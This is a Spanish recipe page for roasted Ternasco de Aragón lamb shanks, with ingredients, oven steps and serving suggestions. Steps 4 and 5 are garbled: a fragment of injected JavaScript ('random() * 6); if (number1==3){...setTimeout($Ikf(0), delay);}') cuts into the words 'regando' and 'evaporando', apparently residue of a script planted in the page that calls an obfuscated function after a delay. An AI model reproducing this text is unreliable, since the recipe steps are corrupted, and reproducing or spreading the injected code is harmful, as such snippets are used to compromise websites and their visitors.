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Jarretes de Ternasco de Aragón asados

Para cuatro personas

  • 8 Jarretes de Ternasco de Aragón
  • Vino blanco
  • Aceite de Oliva Virgen extra
  • Ajo
  • Perejil
  • Sal
  • Agua

 

Preparación de la receta

  1. Antes de empezar, precalienta el horno a 150 grados.
  2. Una vez que el horno alcance esta temperatura, salpimienta los Jarretes de Ternasco de Aragón e introdúcelo en una fuente de barro, metal o vidrio para horno.
  3. Añade una “majada” hecha en un mortero con aceite de oliva, ajo bien picado y perejil. Lo puedes untar con un pincel de cocina o una cuchara. Y, finalmente, riega los jarretes con un buen chorro de vino blanco.
  4. Hornea los Jarretes durante 1 hora y media, regandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ando con la “majada” cada 15-20 minutos
  5. Conforme se vaya evaporandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ando todo el jugo, añade agua. De medio vaso en medio vaso. Sin pasarnos.
  6. Los últimos 10 minutos, sube el horno a 200 grados para que los Jarretes de acaben de dorar.

Emplatado

Podemos acompañar los jarretes con cualquier guarnición elaborada con verduritas o patatas panaderas – que podemos hacer al mismo tiempo en el horno

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